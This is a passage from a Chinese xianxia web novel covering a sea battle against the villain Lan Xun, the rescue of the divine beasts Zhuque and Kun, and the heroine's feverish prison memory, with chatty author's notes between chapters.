“住手——” 百姓和修士们只觉得心神欲碎,有人从船上奔出要去截停那两柄刀。 铮然嗡鸣声响起,从天际遥遥飞来黑影。 刀影并未落至玉灵身上,一朵盛开的莲花悬停在朱雀上空,而几万里外的鲲也同样如此,被一方变大为径有万丈的古铜色篆盘截停。 两柄刀与十二辰和天罡篆僵持,一方骇然压下,一方铮然抵抗。 兰洵倏然睁开眼,咬紧牙关:“慕夕阙,闻惊遥!” 他转身便要冲向朱雀那方,亲自操刀陆续解决这两只玉灵,趁它们虚弱之际,便是最好的时机。 可两道不知何处出现的身影却冲向他,慕夕阙抬手便劈,闻惊遥紧随其后。 兰洵用几乎全数灵力凝出了两柄用来戮灵的刀,如今乍然被闻惊遥和慕夕阙逼上,竟无法尽快解决两人。 他躲开慕夕阙的剑,冷声道:“没有十二辰和天罡篆,你们两个化神境想跟我打?” 闻惊遥却闪至他身后,一掌朝他攻来,被兰洵擦着边缘躲过。 兰洵退后百丈,悬停在更高一截的虚空,垂眸望向下方的慕夕阙和闻惊遥。 “如此大力使用神器,可知只会落得个两败俱伤,十二辰和天罡篆这一击,会折损你俩的半数寿数。” 慕夕阙身影一晃便逼至他面前,兰洵以掌为刃抵住她的剑。 “老不死的,你不敢杀我不是吗?” 兰洵瞳眸微颤,失神之际,闻惊遥再次闪至他身后,一脚将人踹下高空砸进海里,而慕夕阙和闻惊遥俯冲向海面,却被一击从里头挥出的海浪砸飞百丈远。 兰洵跃海跳出,面不改色掰回脱臼的胳膊。 双方悬立虚空,并未再贸然动手。 兰洵冷眼看着她:“真当我不敢杀你?” “你不能用你的灵力杀我,在东浔主城那次你明明可以杀了我,可你却掉头走了,在浮重山那一次你也可以直接将我杀掉,你却将我击入湖底转而用湖里杀阵绞杀我,我猜你没办法对我动手。” 慕夕阙远远看着冷脸的兰洵,不等他回答,话锋一转又道:“准确来说,你不能动手杀害的是十二辰之主,你身上有禁制,能给你下了这禁制的人,我猜修为不俗,我们老祖对你做了什么吗?” 而慕家老祖在死前曾来过海外仙岛,从岛上回去后便身子极速衰弱,内里掏空羸弱,那等症状并不像疾病,反而像是寿数将至。 就如慕夕阙前世那般,大肆使用十二辰,后期被闻惊遥抓住前,她已经到了整日咳血的地步。 兰洵的脸色越来越冷,慕夕阙通过他的神情,辨别出了些难以相信的事实。 “慕家老祖为你下的禁制,你不得动十二辰之主,她下这种禁制,是为了不让你谋戮十二辰的主人。”慕夕阙攥紧拳头,骨节捏得泛白,她看着兰洵彻底冷下的脸,心底那个不可思议的猜测彻底验证。 “所以十二辰确实能敛骨吹魂,令亡者复生,你想利用十二辰复生你那已被枭首的妻子,可她的尸身都已被挫骨,你做的这些根本——” “闭嘴!”兰洵抬袖一挥,罡风袭来,闻惊遥将慕夕阙拽离,两人躲开他的杀招。 兰洵仿佛被戳中痛处,多少年了,第一次有人在他面前提起亡妻。 “是啊,你们十三州和海外仙岛用玉灵之力杀了我的夫人!不仅要枭首,还要将她的尸身挫骨,不就是怕我抢夺十二辰复生她吗!” 他这会儿格外癫狂,疯了般朝慕夕阙和闻惊遥打来。 天罡篆和十二辰不在身边,面对这般疯狂的兰洵,慕夕阙和闻惊遥只能躲闪拖延时间,让朱雀和鲲逃离。 “十二辰主生魂,是能聚集魂魄,但只有十二辰远远不够!她为了不变成祟种捅碎了自己的心脏,我将那只玉灵的心脏换给了她,她竟然睁开了眼,可她的魂魄不全啊,她没有记忆没有神智,只是一只祟种!” 兰洵一掌打在慕夕阙肩头,将她拍下海里,闻惊遥即刻转身跃进海中,捞起慕夕阙躲过兰洵再次攻来的杀招。 “像比翼鸟那样护佑隐世族群的玉灵还有许多,那一路上我又杀了几只弱小的玉灵,哺给她玉灵的血肉,那是能祛除沉疴的福泽!我杀到第五只山灵,她竟然恢复了一丝神智,即使只有一丝!” 可有一丝神智的妻子却遵循本能,趁他外出斩杀玉灵的时候跑去找了自己的妹妹和孩子,被他们引进了十三州和海外仙岛联合设下的杀阵,枭首挫骨。 兰洵悬停在虚空,苍灰色的眸子流出了泪。 “我没有想要灭世,只要让我杀几只玉灵复活她,她一活,我立马自裁谢罪,我为十三州和海外仙岛做了那么多事,斩杀了那么多祟种,可他们却为了几只弱小的玉灵殊死拦我!” 对他来说只是杀了几只玉灵。 可在祟种横行的万年前,失去玉灵的城池村镇会迅速被祟种攻入,会大寒不断。 慕夕阙和闻惊遥冷眼看他,兰洵过去一直是理智冷漠的,甚至有些自毁的疯狂,可兴许太久没有人与他聊起亡妻,说起当年的事了,如今压抑万年的仇恨让他无法冷静。 兰洵忽然冷静下来,几滴泪坠落,他看着慕夕阙和闻惊遥,声音格外轻:“可他们将她挫骨了,我连她的尸身都失去了,她魂飞魄散,复生已经做不到,我只能想到另一个法子。” 慕夕阙皱眉,闻惊遥警惕盯着兰洵,他此刻有些过分的冷静了。 兰洵看着他们两人,他弯唇一笑,轻而柔地说道:“我要杀了所有的玉灵,当这整个大陆的福泽消失,我会切断所有地脉和天脉,让地崩天塌,人间迎来灭世大灾,造世的神自会现身。” 他朝两人俯冲而来,随着疾风和杀招一同袭来的,是一声近乎咬牙切齿的低喃。 “你以为我和你那位慕家老祖去往不渊海时,只捡到了一块阴阳神石吗,不,我看到了神,你们口中的天道。”- 越疏棠带领百艘渔船去往朱雀离开的方向,当看到十二辰出现之时,她反应过来,立马抢过舵盘朝莲花下冲去,上百艘渔船跟在她身后,修士们纵身跃出,用刀剑斩向那些手握锁链的蒙面人。 这些影杀的叛贼和从十三州带来的修士,此番是抱着戮灵的心前来的。 不断有人跌入海里,蒙面的修士刚从海里露出,一个浆板从上砸下,重重拍在他的脑门上。 “狗东西,去死吧!” 开船的大多都是些经验丰富的渔民们,能带领修士们快速赶到。 这些并未修行的渔民用手中捕鱼的网罩铁钩,以及划船的浆板和随手带来的木棍,将落进海里要重新出水的修士砸得头破血流,有人因此被杀,却又激起更多人的怒火,他们将一路的恐惧和气愤发泄出来。 他们或在船上拍打,或扑进海里,仗着良好的水性缴住落水的敌人,直到将人淹死或者勒死。 随着落水和被杀的敌人越来越多,束缚朱雀的锁链逐渐松动,一根又一根脱离人手,它振翅向上飞去。 几万里外的鲲也同样如此,从岛上赶来的渔民带着修士们奔向它,他们无视头顶上殊死对抗的天罡篆和遮天蔽日的刀影,只拼了命攻击那些束缚鲲的敌人。 血染红这片海域,鲲身上的锁链一个接着一个脱离,它疯狂朝海底去,尾鳍掀起的浪花将人兜头浇湿。 宋云岫趴在船边,一板子将一个露头的人砸进水里,看着水面下那道无法估量身躯的黑影。 她喊道:“快游,鲲,你快游啊!” 万里之外,也有渔民对着天际喊:“快飞,朱雀,快飞!” 捆缚朱雀和鲲的锁链一根根挣脱,直到最后一根脱离人手,缠绕它们的锁链滑落,朱雀扬首飞向高空,鲲摆尾冲向海底。 十二辰和天罡篆同时迸发出耀眼亮光,撞向两柄凝实的长刀,众人仰头,看见蔽日的刀影轰然消散。 绽开的莲花彻底合拢,缩小为掌心大小,从虚空掉落,被越疏棠纵身接过,而几万里外的天罡篆也砸落下来,修士们接住它。 两个神器一月前刚修补完祭墟,神力只恢复五成,且神器的力量与神器之主息息相关,慕夕阙和闻惊遥如今的修为,不足以操控它们发挥出绝顶的威力。 在与渡劫修士凝出的刀直面相撞后,它们的神力再次被掏空。 反冲让正在鏖战的慕夕阙和闻惊遥齐齐吐出口血,向地神和天神借力,带来的后果便是折寿,两道身影自虚空跌落,重重砸进海里。 兰洵脚步踉跄,抬手捂住自己的嘴,堵住从喉口溢出的血,几乎耗尽仅剩的修为凝出的杀招被击碎,他也已是强弩之末。 他自虚空跌落,砸进远处飞来的灵舟,兰洵摔在甲板上,纪挽春匆匆赶来。 “主子,主子?” 纪挽春抬手,看到自己掌心的血。 往日威压强大的人在此刻昏迷不醒,这身整洁的黑衣也几乎被血浸透,纪挽春何时见过兰洵这幅模样,自几十年前他忽然出现在鹤阶后,兰洵强大到令鹤阶无法抵抗,只能任人驱使。 纪挽春忙让人抬他进船舱。 他站起身,一位鹤阶长老匆匆赶来,皱眉问他:“咱们被他压制这般久,甚至不知道他到底是谁,要做什么,若他活着后患无穷,怕哪日便对咱们卸磨杀驴,为何不杀他?” 纪挽春猛地回眸,厉声道:“你如何敢杀他,你进鹤阶晚,可知道他当年做过什么事吗!” 长老愣愣问:“他做过什么?” 纪挽春一字一句道:“他从鹤阶大门闯进来,只用了不到一刻钟,杀了我们五成的长老,将他们都炸成了血雾,将那些人的家人抓来也一并杀了,你没见过那场面,像是下了血雨。” 那太过恐怖,令他们这些活着的长老弟子做了无数的噩梦,对他的畏惧已经刻入骨髓,这人强大到无法形容,即使他如今虚弱,纪挽春也不敢起半分杀意。 若赌错了,他的下场便是当年的那些人。 怕家人也会因此被连累。 灵舟悬浮在虚空,纪挽春垂眸看着辽阔的海域,闻惊遥和慕夕阙遭到神器反噬落进海里,再也没有上来。 两个昏迷的人掉进海里,会沉入海渊,被这海水淹死。 纪挽春冷声道:“十二辰和天罡篆现在在那些百姓手中拿着,告诉那个孩子调转灵舟,我们去拿神器!” 作者有话说:来晚了来晚了,修改一下前面的设定,仔细查了一下资料,鲲鹏最早出自逍遥游,但化为鸟后才有“鹏”这个说法,但这里设定是朱雀守空,鲲镇海,所以咱们改成“鲲”写了~ 十三州也有能镇海的玉灵,玄武就是其中一个,可以入海,还有几个后续也会提及~ 今天发个红包,明天把一万营养液的加更补上,写前世的隐情~ 第77章 第 77 章 “我将一切都还给你。”…… 从海外仙岛到十三州, 灵舟应当飞上将近十个时辰。 掌舵老者却一路疾驰,速度极快,刚修补完的禁制足以抵御祭墟的侵蚀, 他们一路掠往十三州,不过四五个时辰, 从丑时出发的灵舟, 在卯时便到了十三州。 朝蕴已经带人等候在码头,见灵舟落地,她匆匆走来。 “阿尘, 阿榆。” 在灵舟上两方早已联络过,她知晓慕夕阙和闻惊遥留在了海外仙岛,也知晓慕从晚的灵根已被接上。 蔺九尘背着慕从晚, 跟在朝蕴身后匆匆朝慕家的灵舟走去, 师盈虚和姜榆一同上去。 船舱内不仅有两名慕家的长老, 还有庄漪禾。 蔺九尘只略微行礼, 便将慕从晚搁在软榻上。 慕家的医修上前诊治, 敛神凝思片刻,瞳眸微颤,大喜道:“大小姐的灵根果然被接上了!” 朝蕴忙追问:“那秽毒呢?” 医修诊治片刻, 起身拱手道:“医仙果真是医仙,名不虚传, 大小姐的秽毒已被驱出体外, 只是灵根断裂已久,如今贸然接通, 加之洗经拔髓痛苦异常,昏厥过去了。” “可有性命之忧?” “医仙为大小姐服了一颗还魂丹,可比药谷的还魂丹还要见效, 大小姐的性命应无虞,在下再用药阵为其温养几日便好。” 朝蕴松了口气,闭上眼,提了两日的心总算沉了些。 她退出内厅,来到外间,蔺九尘几人还等在那里,几人身上除却师盈虚,都略有些狼狈。 庄漪禾倒了几杯茶:“礼数便免了,我们简短些说,从昨日各大世家陆续收到密函,言前些时日东浔事变,旷悬、季观澜等人都为慕二小姐所杀,鹤阶倒打一耙,将玄武离山,鹤阶空城,百姓流离失所的罪名按在小夕和惊遥头上。” 师盈虚一拍桌子:“他们怎么有脸的,十三州那些家族又怎会相信?我爹娘的事我还没找鹤阶算账呢!” “师大小姐,你还年轻,不知晓鹤阶在这万年里积累了多大的声望。”庄漪禾抬眸看她,温和的语气止住师盈虚的暴怒。 “人糊里糊涂地活久了,享受太多特权与利益后,便很难再回归初心了,这些年他们拉帮结派,对上逢迎,对下打压,鹤阶只要还在,便总有人跟着他们继续胡作非为。” 师盈虚脸色冷沉,拳头攥紧。 蔺九尘和姜榆沉默。 朝蕴开口道:“为防意外,近些时日我们需留守十三州,此番前来已是贸然,小夕和惊遥既然敢留在那里,便是有应对的法子,外头的人你们带走。” 她顿了下,垂眸取出张画像:“这是兰洵的脸。” 蔺九尘几人垂眸看去。 画像上那张脸极其俊俏年轻,这张脸实在让人难以防备,棱角温和俊美。 这封追杀令是当年周家单独下的,那时的兰洵模样年轻——虽然如今观其外貌仍旧不显苍衰,但按照时间来推,他应有起码万岁。 朝蕴道:“我们花了高价去找灵枢阁查了鹤阶,他是五十年前出现在鹤阶的,早在七千六百年前鹤阶便没有所谓的‘家主’一说了,上百位长老一同执掌鹤阶,直到他闯进来打服了所有人。” 庄漪禾接话补充道:“小夕先前说鹤阶的玉灵玄武约莫在七千年前被囚禁,算起来,或许是鹤阶最后一任家主意外身亡时,自那之后鹤阶便逐渐揽权十三州。” 过去太久,鹤阶这些年做的事让他们难免心有愤懑,在得知天罡篆非鹤阶之物时,下意识便觉得是鹤阶杀人夺宝,靠着天罡篆如日中天。 可庄漪禾却告诉他们:“当年那场灾厄来临之时,十三州和海外仙岛如同一体,上百世家门派更是勠力同心,鹤阶也并非这般为非作歹,最初的几任家主确实也在竭心尽力,与众世家共同撑起十三州。” “他遮住自己的脸兴许也是知晓当年几大门派都下了追杀令,家库难免有他的画像,可那面具上的兽脸如今我们还不知晓。” 时间不多,庄漪禾没工夫解释太多,将画像卷起塞给蔺九尘。 “我们如今怀疑,七千六百年前鹤阶最后一任家主身亡的事怕是与兰洵有关,玄武应也在那时被囚禁起来,此后兰洵销声匿迹几千年,直到五十年前出现在鹤阶,他忽然现身怕是另有缘由。” “以及他沉寂的这几千年到底在做什么,你们必须得弄明白,斯事体大,刻不容缓。” 蔺九尘起身,拱手行礼:“我回去帮他们。” 他此番回来,便是为了送慕从晚归家,以及搬救兵回海外仙岛,说完转身离开。 姜榆和师盈虚刚起身要跟上,朝蕴和庄漪禾一左一右拽住她们。 姜榆心下着急:“师娘,我阵术不错,可以帮他们的!” 师盈虚也挣扎:“庄夫人,你不要拦我,夕阙还在那里,我是一定要去救她的!” 可朝蕴和庄漪禾却用力,将她们拽下来,迎着她们皱起的眉头,朝蕴说道:“我有事要你们去做,海外仙岛你们便不必去了。”- 在确认朱雀和鲲离去后,百姓们坐在船上,忽然泄了力。 日头已高升,如今海兽被朱雀的火焰吞噬,虽或许有朝一日还会出现,可如今他们不想去想这些事情。 海外仙岛的修士们已将所有活着的敌人都捉拿,一些尸身飘在海上,若是海外仙岛的百姓,渔民们便捞起来带回去,若不是,便任由他们沉入海里喂了鱼虾。 越疏棠掌舵,跟着渔船归航,去往救援鲲的渔船们也都回来,双方在中途碰面,纵身身上湿漉漉的,见到彼此却都在笑。 迟笙坐在她身边,沉声道:“阿姐,扶然前辈和温前辈,怕都是阵亡了。” 这话一出,这艘渔船便沉默,众人垂下脑袋,或看着澄澈的湖水,或看自己的衣摆。 越疏棠轻声说:“阿笙,《仙岛史》会留下他们的名字,你我死前都不会忘记他们,他们就都还活着。” 迟笙垂头,闷闷应道:“嗯。” 她的手里拿着十二辰,这朵再次被掏空神力的莲花合拢,往日总泛着鎏金光泽的莲瓣暗淡些许,它瞧着完全不像个神器,更像是个寻常的莲花。 渔船逐渐靠向海外群岛,已经能隐约瞧见第一艘岛屿的轮廓,此刻海上起了薄雾,一座座岛屿被雾笼罩。 这场劫难不知是否过去了。 越疏棠红唇微抿,此番去十三州收获太少,至今未查到当年父亲的事,除却认清了夜迢的真面目,以及……交了一个朋友。 越疏棠不知慕夕阙为何要与她交友,可海外仙岛此次的劫难,若非她出手相助,怕也难以度过。 她取出乾坤袋,正要将十二辰收回,待见到她后再归还。 指腹刚触及乾坤袋,越疏棠眸光一凛,单手捞起迟笙扑倒,一道剑光自雾后的虚空中砍来,将船头削掉半截,迸发的威压掀飞了整艘渔船,满船的人落进海里。 队形瞬间被打乱,反应过来的修士们立即拔刀,冲向在云雾后现身的灵舟。 纪挽春拔剑跃下灵舟,跳到方才那艘被掀飞的渔船顶上。 在海外仙岛长大的人,无论是否要出海捕鱼,水性都不错,迟笙和越疏棠掉进海里,并未呛水,两人迅速起身跃出水面。 纪挽春已提刀逼至面前,越疏棠推开迟笙,拔剑迎上。 若换成过去,以越疏棠的修为单挑纪挽春并不困难,她五岁便在影杀修行了,是头号的杀手,但如今不一样,她方经历一场恶战,遍体伤痕,骨裂多处,竟在纪挽春刀下讨不到半分好处。 迟笙砸落在一艘渔民的船上,吃痛仰头看去,见越疏棠被一掌打入海中。 “阿姐!” 虚空中乱成一团,修士们经历了海兽攻岛,又是救人又是守岛,如越疏棠般重伤的人不少,而纪挽春他们明显有备而来,此番带来海外仙岛的弟子皆都修为不低,很快便将前来救援朱雀和鲲的修士们团团围住。 他们在空中打,又或在海里打,交错的杀招让并无灵根的百姓们根本无法靠近。 越疏棠被砸进海内,她使不上力,也无法凫水。 纪挽春将她的几处骨头砸断,目的便是让她拿不起剑,海水从鼻腔喉口涌入,将她呛得无法呼吸,也没法调动灵力,在一串呼出的气泡中,她看到有人破水而入。 那是面容阴狠的纪挽春,他朝她逼来,提刀砍上。 他要夺十二辰。 越疏棠瞳眸微颤,握剑便要反击,下一瞬,一道纤细的身影从侧方冲来,迟笙与这片海作伴十几年,水性极好,俯冲而下捞起越疏棠。 她为越疏棠布了个隔水的灵罩,并未出海,在海里可以仗着水性和对地貌的熟悉,借助旋涡和珊瑚海树遮掩,但若是出海,以她们如今虚弱的身子是绝无可能获胜的。 纪挽春紧紧咬在她们身后,在他的身后又追上了不少人,有随他一同夺取十二辰的修士,也有前来救援保护十二辰不被夺取的人。 海上在打,海里也在打。 渔民们无法冲出包围,有人跃入海中以凡人之躯缴住修士,但这些杀红了眼的修士们并不需要分心囚住玉灵,他们只会杀。 于是血染红了海水。 带着天罡篆的宋云岫跃进海里,宋云霁和几个修士在殊死阻拦。 悬浮在虚空中的灵舟上,身着粗布麻衣的孩子掌舵的手在抖,阿宥惶恐看向这片海,灵舟上如今只有几人,所有修士都跃下海打斗。 阿宥跑进船舱,捂住耳朵,可刀剑碰撞的铿锵声难以隔绝,利刃刺入血肉的声音无法阻拦,他蜷起身体蹲在窗台旁,一旁虚弱咳嗽的母亲缓了些力气,艰难坐起来。 “阿宥,过来。” 阿宥死活不肯过去,泪流满面。 女子只能撑起身,扶着桌子走过去,她蹲在孩子面前,单薄的衣裳遮不住满身的药味,她蹲下身,抬手捧住阿宥的脸。 “不哭。”她擦去阿宥脸上的泪,“这场灾祸并非你带来的,可他们是你送来的,事到如今,知道自己错了吗?” 阿宥摇头,涕泗横流道:“可我不送他们,你们都会死。” “可你送我们来这里,他们死了很多人。”阿宥的母亲病骨支离,说一句便得喘会儿气,她低声道,“他们不会为我们解毒的,如今还能回头。” 窗外是一片在日头下闪着粼粼波光的海,几个时辰前它还是怒浪与海兽并行的模样,如今这里只有来往游动的鱼虾,和不断落水的修士们。 宋云岫游向珊瑚丛,身后掩护她的修士们已被团团围住,揽着越疏棠逃离的迟笙最终也被纪挽春追上。 两柄刀同时砍向宋云岫和越疏棠。 正与敌人厮杀的宋云霁瞳眸颤抖,迟笙也下意识以脊背挡在越疏棠身前。 一艘灵舟俯冲撞向海面,阿宥掌舵控制灵舟在海上滑行,将鏖战的修士们冲散,他一个摆尾甩掉舟上仅剩的鹤阶弟子,以及昏迷的兰洵。 这艘灵舟竟冲入海中,庞大的舟身一瞬向前,阿宥将所有禁制打开,阻拦海水,船身擦着纪挽春的身子而过,巨大的冲击力将他撞向海底的礁石。 趁另一个修士躲避之际,宋云霁一头扎下飞扑向珊瑚丛后的宋云岫,拽住她跃向灵舟,禁制并未阻拦他们,迟笙也带着越疏棠跳上去。 在纪挽春提刀正要再次追上,阿宥调转灵舟,舟尾撞向纪挽春,再次将他撞出,随后灵舟一路披靡向上,破海而出。 阿宥并未去救海面上的修士和百姓们,他在灵舟上听得一清二楚,这两个手上有神器的姑娘才是这些人的目的,定会追着他们跑。 无人不知十二辰和天罡篆,阿宥也知道那是什么东西。 一路他都在想,这样的宝物,能落至这些人手中吗? 他的泪涌出,掌舵冲向虚空* ,这艘特制的灵舟若飞起来,化神满境的修士都追不上,它的速度快到极致,将身后追上来的敌人尽数甩开。 阿宥哭着掌舵,母亲在船舱内坐着,越疏棠和迟笙跌坐在甲板上,宋云霁和宋云岫愣愣看着灵舟下的海域。 阿宥知道,他这一举动,葬送的是所有族人的性命。 鹤阶不会放过他的族人了。 灵舟飞在虚空,驶向遥远的海域,那里逐渐看不见岛,寥无人烟,鲸从海中跃出,鱼虾畅游海里,高悬的日头驱逐了清晨的薄雾。 舟上安安静静,无人说话。 忽然间,趴在灵舟旁的宋云岫眼眸一亮,指着灵舟下:“是……是鲲!” 宋云霁急忙起身,越疏棠和迟笙也奔来,四人趴在护栏上往下看,浩渺无边的黑影在海里遨游,它似乎是追着这艘灵舟在跑,与他们飞行的方向一样。 鲲渐渐向上游,直到脊背能露出水面,让几人看到了它驮着的黑影。 修士眼力过人,越疏棠低声道:“慕二小姐,闻少主……” 迟笙和宋云霁翻身下舟,跃下万丈高空,跳至鲲宽阔的脊背,各自背上一人,而后鲲轻轻用力,将他们二人轻松送上万丈高的灵舟上。 鲲长鸣一声,尾鳍摆水,扎入海底,朝海渊游去。 它和朱雀要重新寻找能暂时落脚的栖息地,但它们不会离开海外仙岛,这些百姓也会想办法将两座崩裂的山重新建造,届时它们会再次回去。 阿宥在掌舵,迟笙和宋云霁将慕夕阙和闻惊遥背到船舱内,阿宥的母亲也在,她走过来,低头看了会儿。 久病成医,她也会些医术,指腹先落在慕夕阙腕间,把了会儿脉,又落向一旁的闻惊遥。 “这位姑娘倒是无碍,只是内里有些虚弱。”她皱起眉头,看着闻惊遥,“可这位公子……怎么没脉搏了?” 越疏棠和迟笙倏然抬眸看她。 宋云霁慌忙把脉,甚至趴在闻惊遥的胸膛上去听,片刻后,他惊愕抬头:“真的没脉搏了……也没有心跳声。”- 慕夕阙做了场大梦。 被关进云川牢狱的那十年里,她被束缚修为,不得动用十二辰,不得调动灵力,早已亏空的身子经不住那里森寒刺骨的冷。 她会染上风寒,会生病高热,会难以抵御许多疾病,即使有狱卒老者的照顾,她仍生了场险些夺走她性命的重病。 慕夕阙濒死过许多次,死亡是什么感觉呢? 意识会越来越糊涂,她会逐渐看不清,无法动弹,那一次她高热了太久,多次使用十二辰造成的反冲是无法逆转的,即使在她成为凡人后,这些反噬仍在日渐折磨她。 那次她烧了一个月,她在反复的高热中无数次梦到陈年往事,化为灰烬的慕家,金龙的死去,慕从晚的自刎,随泱的尸骨无存,以及那些年里受过的伤,吃过的苦。 仿佛一场无止境的噩梦,她偶尔能听到狱卒老者在围栏外的叹息,作为一个狱卒,他没有办法救下她,她喝不进去药,唇中干涩,连灵丹都无法化开。 直到慕夕阙觉得自己快要死了,好似回光返照一般,那一次她模模糊糊能睁开眼,微凉的手搭在她的额头,她闻到清淡的雪竹香,有道黑影在她身旁。 有人俯身,覆上她干裂的唇,将唇齿间含化的一颗灵丹渡来。 慕夕阙至今也认为那是场梦。 闻惊遥怎么会在她要死的时候来到牢狱内,他这个十三州圣尊怎么会亲吻一个犯了滔天大罪的罪人,又怎么可能躺在她身侧——躺在那张狭窄的木床上,将她裹进怀中,陪她熬过那冰火两重天的一夜? 闻惊遥也绝不是话多的人,他不可能一整晚在她耳畔低声细语。 “夕阙,你瘦了。” “夕阙,你冷不冷?” “夕阙,夕阙,夕阙……” 这世上大多人喊慕夕阙“慕二小姐”,亲近的人喊“小夕”,喊她“夕阙”的只有闻惊遥和师盈虚。 师大小姐最初也喊她“小夕”,后来是不服他们的婚事,为了跟闻少主怄气争夺慕夕阙,偏要跟他抢这看似独属于闻大少爷的称呼。 最后,慕夕阙听到了轻到几乎听不清的话,贴着她的耳侧。 “夕阙,我将一切都还给你,你也要记得,不要对我心软。” 作者有话说:紧急修改一点,我才意识到小慕被关进的牢狱叫云川,跟宋云岫的哥哥同名了,当时取名时候先定了宋云岫,兄妹两个就想名字相似些,我觉得云川听着好顺嘴,没反应过来这是那个牢狱了,云川牢狱也不是一个剧情占比很大的地方,不会详细写它。 在开文前最初的大纲设定里,宋家兄妹两个其实没有详细的描写,但随着真正开始写文,落笔与大纲也难免会有所偏差,前些天顺海外仙岛这个副本的大纲时候增添了这两个配角的剧情,云川云岫取自古语,云川概指银河,云岫是白雾缭绕的山峦。 修改了一下名字,宋云川改为宋云霁,取自“云销雨霁,彩彻区明”,前面的章节我今晚修改一下~ 宝宝们久等啦,我从十一月上旬就开始失眠,最近几天已经严重到每天只能睡三四个小时,大家应该经常能看到我凌晨修文,今天实在头疼得受不了,下午去医院看了下,今天先更个一章,本章发个红包,明天加更,大家也早点睡呀~ 第78章 第 78 章 定神 在慕夕阙他们走后, 这座孤岛便成了唯一没有受骇浪和海兽袭击的地方。 夜迢坐在竹楼顶端,仰头望天,在慕夕阙和闻惊遥还在时候, 为了磨他们几人的战力,夜迢会想办法召来那些海兽攻岛。 在他们走后, 他会为了梅枝雪布下禁制, 逼退骇浪和海兽。 竹楼里的烛火还亮着,接上灵根并不容易,整个十三州和海外仙岛能做到这些的人, 怕是只有一个梅枝雪了,她是天生的医道奇才,不仅医术好, 修为也卓绝。 夜迢等了很久, 竹楼的门打开, 他反应过来, 翻身跃下竹楼, 梅枝雪的脸色略有些白,这一日接连医治了慕从晚和燕如珩,难免疲累。 “阿雪。”夜迢看着她冷漠的眼睛, 并未管里头的燕如珩如何了,上前一步握住梅枝雪的手, “累不累, 我准备了沐浴的水,要不你去歇一会儿?” 梅枝雪嗤笑了一声, 淡然抽回手:“便不必这般装模作样了。” 身后传来轻微的咳嗽声,夜迢抬眸看去,燕如珩裹上披风, 身后跟了几个燕家弟子。 “劳烦医仙了。”燕如珩浅笑颔首,抬手示意身后的弟子将琉璃盒端来,“这是比翼鸟的心脏,医仙拿走吧。” 琉璃盒打开,一股清灵的气息扑鼻而来,山灵这般圣洁的存在,集结天地灵气诞生。 梅枝雪接过琉璃盒,只有看到比翼鸟的时候,她的神情竟不显半分冷漠,眼眶渐渐红润,一滴泪滴落融化在那只心脏上。 燕如珩颔首,不动声色看了眼夜迢,转身离开。 夜迢只盯着梅枝雪看,她似乎在检查那只心脏有何问题,以燕如珩的心机,梅枝雪很难相信他不做手脚。 夜迢沉声道:“阿雪,他没有在比翼鸟的心脏上做手脚,你可放心,他没有这个必要。” 比翼鸟已经死了,又怎么可能会复生呢? 对梅枝雪而言这是比翼鸟的心脏,是复活它们的关键,可对于夜迢和燕如珩来说,这只是两只死去神鸟的心脏罢了,两坨血肉,仅此而已。 梅枝雪盖上琉璃盒,抬头看着夜迢,她忽然笑了下:“我与你缔结婚契,你确定会将另一只心脏给我?” “我怎会骗你——”夜迢下意识回答,可迎上梅枝雪隐含嘲讽的眸光,他的话又被生生截断。 怎么会没有骗过呢? 最初的夜迢确实没打算骗梅枝雪,求医是真,与她接触交友也是真心实意,直到胞弟胞妹越发虚弱。 而梅枝雪也满含歉意对他说:“阿迢,抱歉,我医术不精,你阿弟阿妹已回天乏力,这么多年的医治,他们也着实痛苦万分,趁这些时日,多陪陪他们吧。” 而兰洵出现了,告诉了夜迢这些神兽的心脏可以复活万物。 于是夜迢欺骗了梅枝雪。 夜迢无法辩解,他垂眸道:“只要婚契,一结婚契,我立马还你。” 他清楚比翼鸟对梅家村人的重要,那是他们会用性命保护的存在,对梅枝雪也同样如此,无论让她付出什么代价,她都会答应的。 很卑鄙,但又确实有用。 梅枝雪答应了:“好啊。” 夜迢抬眸看她。 梅枝雪弯眸,冲他笑起来:“我给你这个婚契,夜迢,一张婚契而已,对我而言什么都不是。” 她转身去往后院,背影消瘦,过去的梅枝雪并不爱穿这般深沉的颜色,她爱鹅黄,爱藕粉,爱云蓝这等清亮的颜色,这几十年来她变得不爱说话,冷淡冷漠。 夜迢知道自己卑鄙无耻,手持她的软肋,借此蹬鼻子上脸,这等卑劣的伎俩却偏偏就是能要挟这位脾气古怪的医仙。 夜迢跟上去,看着她的背影。 医仙也觉察不出燕如珩给的那古怪毒物,听闻会蚕食神魂,先啃噬记忆,待她的记忆被啃完后,他会在她的神魂被影响前替她解毒,她不会有任何影响。 她只会忘记自己是梅枝雪,忘记梅家村,忘记她这一手绝顶的医术,即使会忘记他们过去的相识,但这是他们之间唯一的破局方法。 只有忘记一切,他才能和她重新开始,婚契是让她能信任他的第一步- 这场大梦实在太过长久,慕夕阙浑身是汗,好似将自己那痛苦的百年都看完了。 直到最后她听到一声缥缈的呢喃。 “夕阙……” 慕夕阙忽然惊醒,她坐起身,身上汗涔涔的。 “你醒了?”一旁守着的越疏棠正闭目打坐,听见动静猛地睁眼,忙走过来,“身上可有不适?” 慕夕阙最后的意识是摔进海里,似乎闻惊遥抱住了她,随后她便昏厥过去,再无记忆。 她闭上眼,揉捏眉心,哑着嗓子开口:“无事,不用去找医仙,只是十二辰反噬。” 刚说完,她便呕出一口血,捂住嘴低声咳嗽。 这种浑身乏力,经脉疼痛的感觉再熟悉不过,大肆使用十二辰,反噬的后果便是这般,因此神器之主往往只有在镇压祭墟时才会使用两个神器,可她和闻惊遥却用十二辰和天罡篆去对抗一个渡劫修士。 越疏棠轻拍她的脊背,待她拿开手后,掌心已全是血,慕夕阙面不改色用手帕擦去。 “十二辰呢?” 越疏棠将十二辰递过去。 这朵莲花全数合拢,花瓣已呈现暗淡的灰色,慕夕阙看着便知道了,她的寿数应当被损了有一半,怕是也就活个百年了。 她没什么表情,知道越疏棠担忧,也并未说这些惹她更加忧心,掀开锦被下榻,往门口走。 “不用去找医仙,先回海外仙岛吧。” 越疏棠却道:“必须得去找医仙,只有她能救闻少主。” 慕夕阙顿住,并未转身。 从她醒来就没问过闻惊遥,似乎完全不关心,越疏棠盯着她的背影,能觉出慕夕阙与闻惊遥之间似乎有嫌隙,到这种时候,便是再马虎也能看出来,慕二小姐对闻少主那种复杂的感情。 “闻少主的脉搏停了,没有心跳,他伤得特别重,你们一起砸进海里,他即使昏迷了也将你死死锁在怀里,整个身上被礁石撞出了大片的伤。” 慕夕阙安静站着,没有回头,也没有回话。 